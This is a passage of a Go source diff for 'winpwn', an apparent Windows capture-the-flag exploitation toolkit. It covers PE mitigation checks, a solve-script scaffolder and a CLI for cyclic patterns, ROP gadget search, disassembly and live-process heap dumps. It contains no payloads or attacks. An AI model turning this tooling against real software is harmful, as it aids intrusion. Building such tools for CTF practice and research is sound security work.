// self-reported Size — older toolchains emit a shorter struct with no
|
||||
// SafeSEH/Guard CF fields at all, and reading past Size would misattribute
|
||||
// zeroed padding as "feature present".
|
||||
type loadConfig64 struct {
|
||||
Size uint32
|
||||
TimeDateStamp uint32
|
||||
MajorVersion uint16
|
||||
MinorVersion uint16
|
||||
GlobalFlagsClear uint32
|
||||
GlobalFlagsSet uint32
|
||||
CriticalSectionDefaultTimeout uint32
|
||||
DeCommitFreeBlockThreshold uint64
|
||||
DeCommitTotalFreeThreshold uint64
|
||||
LockPrefixTable uint64
|
||||
MaximumAllocationSize uint64
|
||||
VirtualMemoryThreshold uint64
|
||||
ProcessAffinityMask uint64
|
||||
ProcessHeapFlags uint32
|
||||
CSDVersion uint16
|
||||
DependentLoadFlags uint16
|
||||
EditList uint64
|
||||
SecurityCookie uint64
|
||||
SEHandlerTable uint64
|
||||
SEHandlerCount uint64
|
||||
GuardCFCheckFunctionPointer uint64
|
||||
GuardCFDispatchFunctionPointer uint64
|
||||
GuardCFFunctionTable uint64
|
||||
GuardCFFunctionCount uint64
|
||||
GuardFlags uint32
|
||||
}
|
||||
|
||||
type loadConfig32 struct {
|
||||
Size uint32
|
||||
TimeDateStamp uint32
|
||||
MajorVersion uint16
|
||||
MinorVersion uint16
|
||||
GlobalFlagsClear uint32
|
||||
GlobalFlagsSet uint32
|
||||
CriticalSectionDefaultTimeout uint32
|
||||
DeCommitFreeBlockThreshold uint32
|
||||
DeCommitTotalFreeThreshold uint32
|
||||
LockPrefixTable uint32
|
||||
MaximumAllocationSize uint32
|
||||
VirtualMemoryThreshold uint32
|
||||
ProcessAffinityMask uint32
|
||||
ProcessHeapFlags uint32
|
||||
CSDVersion uint16
|
||||
DependentLoadFlags uint16
|
||||
EditList uint32
|
||||
SecurityCookie uint32
|
||||
SEHandlerTable uint32
|
||||
SEHandlerCount uint32
|
||||
GuardCFCheckFunctionPointer uint32
|
||||
GuardCFDispatchFunctionPointer uint32
|
||||
GuardCFFunctionTable uint32
|
||||
GuardCFFunctionCount uint32
|
||||
GuardFlags uint32
|
||||
}
|
||||
|
||||
// Field offsets, computed by the compiler instead of hand-counted, used to
|
||||
// validate against each Load Config's self-reported Size.
|
||||
var (
|
||||
offsetOf64SecurityCookie = uint32(unsafe.Offsetof(loadConfig64{}.SecurityCookie))
|
||||
offsetOf64SEHandlerCount = uint32(unsafe.Offsetof(loadConfig64{}.SEHandlerCount))
|
||||
offsetOf64GuardFlags = uint32(unsafe.Offsetof(loadConfig64{}.GuardFlags))
|
||||
|
||||
offsetOf32SecurityCookie = uint32(unsafe.Offsetof(loadConfig32{}.SecurityCookie))
|
||||
offsetOf32SEHandlerCount = uint32(unsafe.Offsetof(loadConfig32{}.SEHandlerCount))
|
||||
offsetOf32GuardFlags = uint32(unsafe.Offsetof(loadConfig32{}.GuardFlags))
|
||||
)
|
||||
|
||||
// loadConfigInfo holds the handful of Load Config Directory fields checksec
|
||||
// cares about, already normalized to a common width.
|
||||
type loadConfigInfo struct {
|
||||
securityCookie uint64
|
||||
sehHandlerTable uint64
|
||||
guardFlags uint32
|
||||
}
|
||||
|
||||
// readLoadConfig parses the Load Config Directory, respecting its own Size
|
||||
// field so we never trust fields beyond what the linker actually emitted.
|
||||
func (p *PEFile) readLoadConfig(h peHeader) (*loadConfigInfo, error) {
|
||||
dir := h.dataDirectory[dirEntryLoadConfig]
|
||||
if dir.VirtualAddress == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
offset := p.RVAToFileOffset(dir.VirtualAddress)
|
||||
if offset == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
info := &loadConfigInfo{}
|
||||
if h.is64 {
|
||||
var lc loadConfig64
|
||||
if err := p.readStructAt(offset, &lc); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if lc.Size > offsetOf64SecurityCookie {
|
||||
info.securityCookie = lc.SecurityCookie
|
||||
}
|
||||
if lc.Size > offsetOf64SEHandlerCount {
|
||||
info.sehHandlerTable = lc.SEHandlerTable
|
||||
}
|
||||
if lc.Size > offsetOf64GuardFlags {
|
||||
info.guardFlags = lc.GuardFlags
|
||||
}
|
||||
return info, nil
|
||||
}
|
||||
|
||||
var lc loadConfig32
|
||||
if err := p.readStructAt(offset, &lc); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if lc.Size > offsetOf32SecurityCookie {
|
||||
info.securityCookie = uint64(lc.SecurityCookie)
|
||||
}
|
||||
if lc.Size > offsetOf32SEHandlerCount {
|
||||
info.sehHandlerTable = uint64(lc.SEHandlerTable)
|
||||
}
|
||||
if lc.Size > offsetOf32GuardFlags {
|
||||
info.guardFlags = lc.GuardFlags
|
||||
}
|
||||
return info, nil
|
||||
}
|
||||
@@ -0,0 +1,311 @@
|
||||
// Command pwninit is a task-bootstrapper for winpwn, the analogue of the
|
||||
// pwninit tool pwntools users reach for: point it at a challenge directory
|
||||
// and it (1) prints the recon you'd otherwise run by hand -- arch,
|
||||
// checksec, sections -- so a new task is legible in one command, and (2)
|
||||
// scaffolds a minimal solve script (go.mod wired up via a replace directive
|
||||
// + a bare Spawn/Interactive main.go) so `go run .` works from that
|
||||
// directory immediately, instead of copying the workspace template by hand.
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"winpwn"
|
||||
)
|
||||
|
||||
// defaultLibPath is where the winpwn source lives on this machine. There's
|
||||
// no published module to `go get`, so every generated go.mod needs a
|
||||
// `replace winpwn => <path>` pointing at a real winpwn checkout; override
|
||||
// with the WINPWN_HOME environment variable if it ever moves.
|
||||
const defaultLibPath = `C:\tools\go_pwner`
|
||||
|
||||
func main() {
|
||||
if err := run(os.Args[1:]); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "pwninit: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
func run(args []string) error {
|
||||
force := false
|
||||
targetArg := ""
|
||||
for _, a := range args {
|
||||
switch a {
|
||||
case "-force":
|
||||
force = true
|
||||
case "-h", "--help", "help":
|
||||
usage()
|
||||
return nil
|
||||
default:
|
||||
targetArg = a
|
||||
}
|
||||
}
|
||||
|
||||
cwd, err := os.Getwd()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
target, err := resolveTarget(cwd, targetArg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
targetBase := filepath.Base(target)
|
||||
fmt.Printf("[pwninit] target: %s\n\n", targetBase)
|
||||
|
||||
if err := printRecon(target); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
libPath, err := resolveLibPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := scaffold(cwd, targetBase, libPath, force); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
fmt.Println("\n[pwninit] wrote go.mod + main.go -- next: go run .")
|
||||
return nil
|
||||
}
|
||||
|
||||
func usage() {
|
||||
fmt.Fprint(os.Stderr, `pwninit -- scaffold a winpwn solve script for the challenge in this directory
|
||||
|
||||
Usage:
|
||||
pwninit auto-detect the single .exe/.dll in the current directory
|
||||
pwninit <target> use this file explicitly
|
||||
pwninit -force overwrite an existing go.mod/main.go in this directory
|
||||
|
||||
Prints checksec/sections recon immediately, then writes a go.mod (replace
|
||||
winpwn => `+defaultLibPath+`, override via WINPWN_HOME) and a minimal
|
||||
main.go (Spawn + Interactive, nothing else assumed) ready for "go run .".
|
||||
`)
|
||||
}
|
||||
|
||||
// resolveTarget returns explicit if set, otherwise the sole .exe/.dll in
|
||||
// dir -- erroring with the full candidate list if that's ambiguous, the way
|
||||
// a human would want to know *why* auto-detection refused to guess.
|
||||
func resolveTarget(dir, explicit string) (string, error) {
|
||||
if explicit != "" {
|
||||
if _, err := os.Stat(explicit); err != nil {
|
||||
return "", fmt.Errorf("target %q: %w", explicit, err)
|
||||
}
|
||||
return explicit, nil
|
||||
}
|
||||
|
||||
var candidates []string
|
||||
for _, pattern := range []string{"*.exe", "*.dll"} {
|
||||
matches, _ := filepath.Glob(filepath.Join(dir, pattern))
|
||||
candidates = append(candidates, matches...)
|
||||
}
|
||||
|
||||
switch len(candidates) {
|
||||
case 0:
|
||||
return "", errors.New("no .exe/.dll found in this directory -- pass the target explicitly: pwninit <target>")
|
||||
case 1:
|
||||
return candidates[0], nil
|
||||
default:
|
||||
names := make([]string, len(candidates))
|
||||
for i, c := range candidates {
|
||||
names[i] = filepath.Base(c)
|
||||
}
|
||||
return "", fmt.Errorf("multiple binaries found (%s) -- pass the target explicitly: pwninit <target>",
|
||||
strings.Join(names, ", "))
|
||||
}
|
||||
}
|
||||
|
||||
// printRecon prints the "understand this task in one command" block: arch,
|
||||
// checksec, and section permissions/entropy.
|
||||
func printRecon(target string) error {
|
||||
pf, err := winpwn.OpenPE(target)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pf.Close()
|
||||
|
||||
is64, err := pf.Is64Bit()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
base, _ := pf.ImageBase()
|
||||
entry, _ := pf.EntryPoint()
|
||||
|
||||
arch := "x86"
|
||||
if is64 {
|
||||
arch = "x64"
|
||||
}
|
||||
fmt.Printf("Arch: %s\n", arch)
|
||||
fmt.Printf("ImageBase: 0x%X\n", base)
|
||||
fmt.Printf("EntryPoint: 0x%X\n", entry)
|
||||
|
||||
r, err := pf.Checksec()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println()
|
||||
fmt.Printf("ASLR: %s\n", yesNo(r.ASLR))
|
||||
fmt.Printf("HighEntropyVA: %s\n", yesNo(r.HighEntropyVA))
|
||||
fmt.Printf("DEP/NX: %s\n", yesNo(r.DEP))
|
||||
fmt.Printf("CFG: %s\n", yesNo(r.CFG))
|
||||
if r.SEHApplicable {
|
||||
fmt.Printf("SafeSEH: %s\n", yesNo(r.SafeSEH))
|
||||
} else {
|
||||
fmt.Printf("SafeSEH: N/A (x64 uses table-based SEH)\n")
|
||||
}
|
||||
fmt.Printf("GS (heuristic): %s\n", yesNo(r.GSHeuristic))
|
||||
fmt.Printf("Authenticode: %s\n", yesNo(r.AuthenticodeSigned))
|
||||
|
||||
fmt.Println("\n--- sections ---")
|
||||
for _, sec := range pf.Sections() {
|
||||
perm := ""
|
||||
if sec.IsReadable() {
|
||||
perm += "R"
|
||||
} else {
|
||||
perm += "-"
|
||||
}
|
||||
if sec.IsWritable() {
|
||||
perm += "W"
|
||||
} else {
|
||||
perm += "-"
|
||||
}
|
||||
if sec.IsExecutable() {
|
||||
perm += "X"
|
||||
} else {
|
||||
perm += "-"
|
||||
}
|
||||
entropy, _ := sec.Entropy()
|
||||
fmt.Printf(" %-8s %s VA=0x%-8X Offset=0x%-8X Size=0x%-8X entropy=%.2f\n",
|
||||
sec.Name, perm, sec.VirtualAddress, sec.Offset, sec.VirtualSize, entropy)
|
||||
}
|
||||
|
||||
if libs, err := pf.ImportedLibs(); err == nil {
|
||||
fmt.Println("\n--- imported libs (live image base -- stable until next reboot) ---")
|
||||
for _, lib := range libs {
|
||||
if lib.Err != nil {
|
||||
fmt.Printf(" %-24s (failed to load: %v)\n", lib.Name, lib.Err)
|
||||
continue
|
||||
}
|
||||
fmt.Printf(" %-24s 0x%016X\n", lib.Name, lib.Base)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func yesNo(b bool) string {
|
||||
if b {
|
||||
return "Yes"
|
||||
}
|
||||
return "No"
|
||||
}
|
||||
|
||||
// resolveLibPath finds a real winpwn checkout to point the generated
|
||||
// go.mod's replace directive at, honoring WINPWN_HOME over the hardcoded
|
||||
// default so this still works if the library ever moves.
|
||||
func resolveLibPath() (string, error) {
|
||||
path := os.Getenv("WINPWN_HOME")
|
||||
if path == "" {
|
||||
path = defaultLibPath
|
||||
}
|
||||
goModPath := filepath.Join(path, "go.mod")
|
||||
data, err := os.ReadFile(goModPath)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("can't find winpwn at %q (%w) -- set WINPWN_HOME to override", path, err)
|
||||
}
|
||||
if !strings.Contains(string(data), "module winpwn") {
|
||||
return "", fmt.Errorf("%q doesn't look like the winpwn module (go.mod has no \"module winpwn\")", path)
|
||||
}
|
||||
abs, err := filepath.Abs(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.ToSlash(abs), nil
|
||||
}
|
||||
|
||||
// scaffold writes go.mod + main.go into dir and runs `go mod tidy` (with
|
||||
// GOPROXY=off: winpwn's transitive deps are already in the local module
|
||||
// cache from building winpwn itself, so this never needs network access)
|
||||
// to fill in the indirect requires/go.sum instead of hardcoding version
|
||||
// strings that would drift the moment winpwn's own go.mod changes.
|
||||
func scaffold(dir, targetBase, libPath string, force bool) error {
|
||||
goModPath := filepath.Join(dir, "go.mod")
|
||||
mainGoPath := filepath.Join(dir, "main.go")
|
||||
|
||||
if !force {
|
||||
for _, p := range []string{goModPath, mainGoPath} {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return fmt.Errorf("%s already exists -- pass -force to overwrite", p)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
moduleName := sanitizeModuleName(filepath.Base(dir))
|
||||
|
||||
goMod := fmt.Sprintf("module %s\n\ngo 1.26.2\n\nrequire winpwn v0.0.0\n\nreplace winpwn => %s\n",
|
||||
moduleName, libPath)
|
||||
if err := os.WriteFile(goModPath, []byte(goMod), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := os.WriteFile(mainGoPath, []byte(mainGoSkeleton(targetBase)), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cmd := exec.Command("go", "mod", "tidy")
|
||||
cmd.Dir = dir
|
||||
cmd.Env = append(os.Environ(), "GOPROXY=off")
|
||||
if out, err := cmd.CombinedOutput(); err != nil {
|
||||
return fmt.Errorf("go mod tidy: %w\n%s", err, out)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// sanitizeModuleName turns a directory name into something `go build`
|
||||
// accepts as a module path -- Go module paths reject spaces and most
|
||||
// punctuation, and CTF task directories are rarely named with that in mind.
|
||||
func sanitizeModuleName(name string) string {
|
||||
var sb strings.Builder
|
||||
for _, r := range name {
|
||||
switch {
|
||||
case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '_', r == '-':
|
||||
sb.WriteRune(r)
|
||||
default:
|
||||
sb.WriteRune('_')
|
||||
}
|
||||
}
|
||||
if sb.Len() == 0 {
|
||||
return "solve"
|
||||
}
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func mainGoSkeleton(targetBase string) string {
|
||||
return fmt.Sprintf(`package main
|
||||
|
||||
import (
|
||||
"log"
|
||||
|
||||
"winpwn"
|
||||
)
|
||||
|
||||
const target = %q
|
||||
|
||||
func main() {
|
||||
tube, err := winpwn.Spawn(target)
|
||||
if err != nil {
|
||||
log.Fatalf("Spawn: %%v", err)
|
||||
}
|
||||
|
||||
// TODO: exploit here
|
||||
|
||||
tube.Interactive()
|
||||
}
|
||||
`, targetBase)
|
||||
}
|
||||
@@ -0,0 +1,573 @@
|
||||
// Command winpwn is a thin CLI wrapper around the winpwn library, the
|
||||
// analogue of pwntools' `pwn` command -- for the quick "just tell me the
|
||||
// answer" cases (checksec, an offset, a gadget search) where spinning up a
|
||||
// whole solve script is overkill. The library (package winpwn, used the
|
||||
// way pwntools itself is: `import "winpwn"` in a real solve script) is
|
||||
// still the primary interface; this is additive, not a replacement.
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"winpwn"
|
||||
)
|
||||
|
||||
func main() {
|
||||
if len(os.Args) < 2 {
|
||||
usage()
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
cmd := os.Args[1]
|
||||
args := os.Args[2:]
|
||||
|
||||
var err error
|
||||
switch cmd {
|
||||
case "checksec":
|
||||
err = cmdChecksec(args)
|
||||
case "cyclic":
|
||||
err = cmdCyclic(args)
|
||||
case "hex":
|
||||
err = cmdHex(args)
|
||||
case "unhex":
|
||||
err = cmdUnhex(args)
|
||||
case "hexdump":
|
||||
err = cmdHexdump(args)
|
||||
case "rop":
|
||||
err = cmdRop(args)
|
||||
case "bytes":
|
||||
err = cmdBytes(args)
|
||||
case "disasm":
|
||||
err = cmdDisasm(args)
|
||||
case "exports":
|
||||
err = cmdExports(args)
|
||||
case "imports":
|
||||
err = cmdImports(args)
|
||||
case "heap":
|
||||
err = cmdHeap(args)
|
||||
case "help", "-h", "--help":
|
||||
usage()
|
||||
return
|
||||
default:
|
||||
fmt.Fprintf(os.Stderr, "winpwn: unknown subcommand %q\n\n", cmd)
|
||||
usage()
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "winpwn: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
func usage() {
|
||||
fmt.Fprint(os.Stderr, `winpwn -- quick-answer CLI for the winpwn library (PE/Windows pwn toolkit)
|
||||
|
||||
Usage:
|
||||
winpwn checksec <file>
|
||||
winpwn cyclic <length> [-n N] generate a de Bruijn pattern
|
||||
winpwn cyclic -l <subseq> [-n N] find subseq's offset (subseq may be "0x..." or literal bytes)
|
||||
winpwn hex read raw bytes from stdin, print hex
|
||||
winpwn unhex read hex from stdin, print raw bytes
|
||||
winpwn hexdump <file>
|
||||
winpwn rop <file> -search "pop rcx ; ret"
|
||||
winpwn rop <file> -regex "^pop r.* ; ret$"
|
||||
winpwn bytes <file> <hex> find every VA where <hex> occurs (e.g. ebfe for jmp $)
|
||||
winpwn disasm <file> <hexaddr> <count>
|
||||
winpwn exports <file>
|
||||
winpwn imports <file>
|
||||
winpwn heap <pid> dump all heaps in a live process
|
||||
winpwn heap <pid> -walk also walk all NT Heap entries (slow on large heaps)
|
||||
`)
|
||||
}
|
||||
|
||||
func cmdChecksec(args []string) error {
|
||||
if len(args) != 1 {
|
||||
return errors.New("usage: winpwn checksec <file>")
|
||||
}
|
||||
pf, err := winpwn.OpenPE(args[0])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pf.Close()
|
||||
|
||||
r, err := pf.Checksec()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
arch := "x86"
|
||||
if r.Is64Bit {
|
||||
arch = "x64"
|
||||
}
|
||||
fmt.Printf("Arch: %s\n", arch)
|
||||
fmt.Printf("ASLR: %s\n", yesNo(r.ASLR))
|
||||
fmt.Printf("HighEntropyVA: %s\n", yesNo(r.HighEntropyVA))
|
||||
fmt.Printf("DEP/NX: %s\n", yesNo(r.DEP))
|
||||
fmt.Printf("CFG: %s\n", yesNo(r.CFG))
|
||||
if r.SEHApplicable {
|
||||
fmt.Printf("SafeSEH: %s\n", yesNo(r.SafeSEH))
|
||||
} else {
|
||||
fmt.Printf("SafeSEH: N/A (x64 uses table-based SEH)\n")
|
||||
}
|
||||
fmt.Printf("GS (heuristic): %s\n", yesNo(r.GSHeuristic))
|
||||
fmt.Printf("Authenticode: %s\n", yesNo(r.AuthenticodeSigned))
|
||||
fmt.Printf(".NET (CLR): %s\n", yesNo(r.DotNET))
|
||||
|
||||
fmt.Println("\n--- sections ---")
|
||||
for _, sec := range pf.Sections() {
|
||||
perm := ""
|
||||
if sec.IsReadable() {
|
||||
perm += "R"
|
||||
} else {
|
||||
perm += "-"
|
||||
}
|
||||
if sec.IsWritable() {
|
||||
perm += "W"
|
||||
} else {
|
||||
perm += "-"
|
||||
}
|
||||
if sec.IsExecutable() {
|
||||
perm += "X"
|
||||
} else {
|
||||
perm += "-"
|
||||
}
|
||||
entropy, _ := sec.Entropy()
|
||||
fmt.Printf(" %-8s %s VA=0x%-8X Offset=0x%-8X Size=0x%-8X entropy=%.2f\n",
|
||||
sec.Name, perm, sec.VirtualAddress, sec.Offset, sec.VirtualSize, entropy)
|
||||
}
|
||||
|
||||
libs, err := pf.ImportedLibs()
|
||||
if err != nil {
|
||||
fmt.Printf("\n(imported libs unavailable: %v)\n", err)
|
||||
return nil
|
||||
}
|
||||
fmt.Println("\n--- imported libs (live image base -- stable until next reboot) ---")
|
||||
for _, lib := range libs {
|
||||
if lib.Err != nil {
|
||||
fmt.Printf(" %-24s (failed to load: %v)\n", lib.Name, lib.Err)
|
||||
continue
|
||||
}
|
||||
fmt.Printf(" %-24s 0x%016X\n", lib.Name, lib.Base)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func yesNo(b bool) string {
|
||||
if b {
|
||||
return "Yes"
|
||||
}
|
||||
return "No"
|
||||
}
|
||||
|
||||
func cmdCyclic(args []string) error {
|
||||
n := 4
|
||||
var find string
|
||||
var rest []string
|
||||
|
||||
for i := 0; i < len(args); i++ {
|
||||
switch args[i] {
|
||||
case "-n":
|
||||
i++
|
||||
if i >= len(args) {
|
||||
return errors.New("-n requires a value")
|
||||
}
|
||||
v, err := strconv.Atoi(args[i])
|
||||
if err != nil {
|
||||
return fmt.Errorf("invalid -n value: %w", err)
|
||||
}
|
||||
n = v
|
||||
case "-l":
|
||||
i++
|
||||
if i >= len(args) {
|
||||
return errors.New("-l requires a value")
|
||||
}
|
||||
find = args[i]
|
||||
default:
|
||||
rest = append(rest, args[i])
|
||||
}
|
||||
}
|
||||
|
||||
if find != "" {
|
||||
off := winpwn.CyclicFindN(parseSubseq(find, n), n)
|
||||
if off == -1 {
|
||||
return fmt.Errorf("subsequence %q not found in the n=%d cyclic pattern", find, n)
|
||||
}
|
||||
fmt.Println(off)
|
||||
return nil
|
||||
}
|
||||
|
||||
if len(rest) != 1 {
|
||||
return errors.New("usage: winpwn cyclic <length> [-n N] | winpwn cyclic -l <subseq> [-n N]")
|
||||
}
|
||||
length, err := strconv.Atoi(rest[0])
|
||||
if err != nil {
|
||||
return fmt.Errorf("invalid length: %w", err)
|
||||
}
|
||||
fmt.Println(string(winpwn.CyclicN(length, n)))
|
||||
return nil
|
||||
}
|
||||
|
||||
// parseSubseq accepts either a literal byte string ("aaab") or a hex-packed
|
||||
// integer ("0x62616161", as read back from a crashed register/return
|
||||
// address) and packs the latter little-endian at width n -- the CLI
|
||||
// equivalent of pwntools' cyclic_find() accepting either bytes or an int.
|
||||
func parseSubseq(s string, n int) []byte {
|
||||
if v, ok := strings.CutPrefix(s, "0x"); ok {
|
||||
if u, err := strconv.ParseUint(v, 16, 64); err == nil {
|
||||
if n == 8 {
|
||||
return winpwn.P64(u)
|
||||
}
|
||||
return winpwn.P32(uint32(u))
|
||||
}
|
||||
}
|
||||
return []byte(s)
|
||||
}
|
||||
|
||||
func cmdHex(args []string) error {
|
||||
data, err := io.ReadAll(os.Stdin)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println(winpwn.Enhex(data))
|
||||
return nil
|
||||
}
|
||||
|
||||
func cmdUnhex(args []string) error {
|
||||
data, err := io.ReadAll(os.Stdin)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
raw, err := winpwn.Unhex(strings.TrimSpace(string(data)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = os.Stdout.Write(raw)
|
||||
return err
|
||||
}
|
||||
|
||||
func cmdHexdump(args []string) error {
|
||||
if len(args) != 1 {
|
||||
return errors.New("usage: winpwn hexdump <file>")
|
||||
}
|
||||
data, err := os.ReadFile(args[0])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Print(winpwn.Hexdump(data))
|
||||
return nil
|
||||
}
|
||||
|
||||
func cmdRop(args []string) error {
|
||||
if len(args) < 1 {
|
||||
return errors.New("usage: winpwn rop <file> -search PATTERN | -regex PATTERN")
|
||||
}
|
||||
target := args[0]
|
||||
var search, pattern string
|
||||
for i := 1; i < len(args); i++ {
|
||||
switch args[i] {
|
||||
case "-search":
|
||||
i++
|
||||
if i >= len(args) {
|
||||
return errors.New("-search requires a value")
|
||||
}
|
||||
search = args[i]
|
||||
case "-regex":
|
||||
i++
|
||||
if i >= len(args) {
|
||||
return errors.New("-regex requires a value")
|
||||
}
|
||||
pattern = args[i]
|
||||
}
|
||||
}
|
||||
if search == "" && pattern == "" {
|
||||
return errors.New("specify -search or -regex (a full unfiltered gadget dump isn't supported from the CLI -- it can be tens of thousands of entries; use the library's NewROP+r.Search from a script instead)")
|
||||
}
|
||||
|
||||
rop, err := winpwn.NewROP(target)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rop.Close()
|
||||
|
||||
var gadgets []winpwn.Gadget
|
||||
if search != "" {
|
||||
gadgets, err = rop.Search(search)
|
||||
} else {
|
||||
gadgets, err = rop.SearchRegex(pattern)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, g := range gadgets {
|
||||
fmt.Printf("0x%016X: %s\n", g.Address, g.Instructions)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func cmdBytes(args []string) error {
|
||||
if len(args) != 2 {
|
||||
return errors.New("usage: winpwn bytes <file> <hex> (e.g. winpwn bytes kernel32.dll ebfe for jmp $)")
|
||||
}
|
||||
pattern, err := winpwn.Unhex(normalizeHex(args[1]))
|
||||
if err != nil {
|
||||
return fmt.Errorf("invalid hex pattern %q: %w", args[1], err)
|
||||
}
|
||||
|
||||
pf, err := winpwn.OpenPE(args[0])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pf.Close()
|
||||
|
||||
base, err := pf.ImageBase()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
rvas, err := pf.SearchBytes(pattern)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, rva := range rvas {
|
||||
fmt.Printf("0x%016X (RVA 0x%X)\n", base+rva, rva)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// normalizeHex strips the separators tools commonly paste hex bytes with
|
||||
// ("\xeb\xfe", "EB FE", "eb-fe", "eb:fe") down to a bare hex.DecodeString-
|
||||
// compatible string, so winpwn bytes accepts whatever got copied out of
|
||||
// x64dbg/rp++/a disassembler without the user reformatting it by hand.
|
||||
func normalizeHex(s string) string {
|
||||
replacer := strings.NewReplacer("\\x", "", " ", "", "-", "", ":", "", ",", "")
|
||||
return replacer.Replace(s)
|
||||
}
|
||||
|
||||
func cmdDisasm(args []string) error {
|
||||
if len(args) != 3 {
|
||||
return errors.New("usage: winpwn disasm <file> <hexaddr> <count>")
|
||||
}
|
||||
target := args[0]
|
||||
addr, err := strconv.ParseUint(strings.TrimPrefix(args[1], "0x"), 16, 64)
|
||||
if err != nil {
|
||||
return fmt.Errorf("invalid address: %w", err)
|
||||
}
|
||||
count, err := strconv.Atoi(args[2])
|
||||
if err != nil {
|
||||
return fmt.Errorf("invalid count: %w", err)
|
||||
}
|
||||
|
||||
rop, err := winpwn.NewROP(target)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rop.Close()
|
||||
|
||||
lines, err := rop.Disassemble(addr, count)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, l := range lines {
|
||||
fmt.Println(l)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func cmdExports(args []string) error {
|
||||
if len(args) != 1 {
|
||||
return errors.New("usage: winpwn exports <file>")
|
||||
}
|
||||
pf, err := winpwn.OpenPE(args[0])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pf.Close()
|
||||
|
||||
exports, err := pf.ListExports()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
base, err := pf.ImageBase()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, e := range exports {
|
||||
name := e.Name
|
||||
if name == "" {
|
||||
name = "(no name)"
|
||||
}
|
||||
if e.ForwardTarget != "" {
|
||||
fmt.Printf("%-40s ordinal=%-5d -> %s\n", name, e.Ordinal, e.ForwardTarget)
|
||||
} else {
|
||||
fmt.Printf("%-40s ordinal=%-5d 0x%016X\n", name, e.Ordinal, base+uint64(e.RVA))
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func cmdImports(args []string) error {
|
||||
if len(args) != 1 {
|
||||
return errors.New("usage: winpwn imports <file>")
|
||||
}
|
||||
pf, err := winpwn.OpenPE(args[0])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pf.Close()
|
||||
|
||||
imports, err := pf.ListImports()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, im := range imports {
|
||||
name := im.Name
|
||||
if name == "" {
|
||||
name = fmt.Sprintf("ordinal#%d", im.Ordinal)
|
||||
}
|
||||
fmt.Printf("%-20s %-40s IAT=0x%08X\n", im.DLL, name, im.IATRVA)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func cmdHeap(args []string) error {
|
||||
if len(args) < 1 {
|
||||
return errors.New("usage: winpwn heap <pid> [-walk]")
|
||||
}
|
||||
pidU, err := strconv.ParseUint(args[0], 10, 32)
|
||||
if err != nil {
|
||||
return fmt.Errorf("invalid pid %q: %w", args[0], err)
|
||||
}
|
||||
pid := uint32(pidU)
|
||||
|
||||
walkEntries := len(args) >= 2 && args[1] == "-walk"
|
||||
|
||||
heaps, err := winpwn.ListProcessHeaps(pid)
|
||||
if err != nil {
|
||||
return fmt.Errorf("ListProcessHeaps: %w", err)
|
||||
}
|
||||
fmt.Printf("pid %d: %d heap(s)\n", pid, len(heaps))
|
||||
|
||||
mem, err := winpwn.OpenProcessMemory(pid, 0)
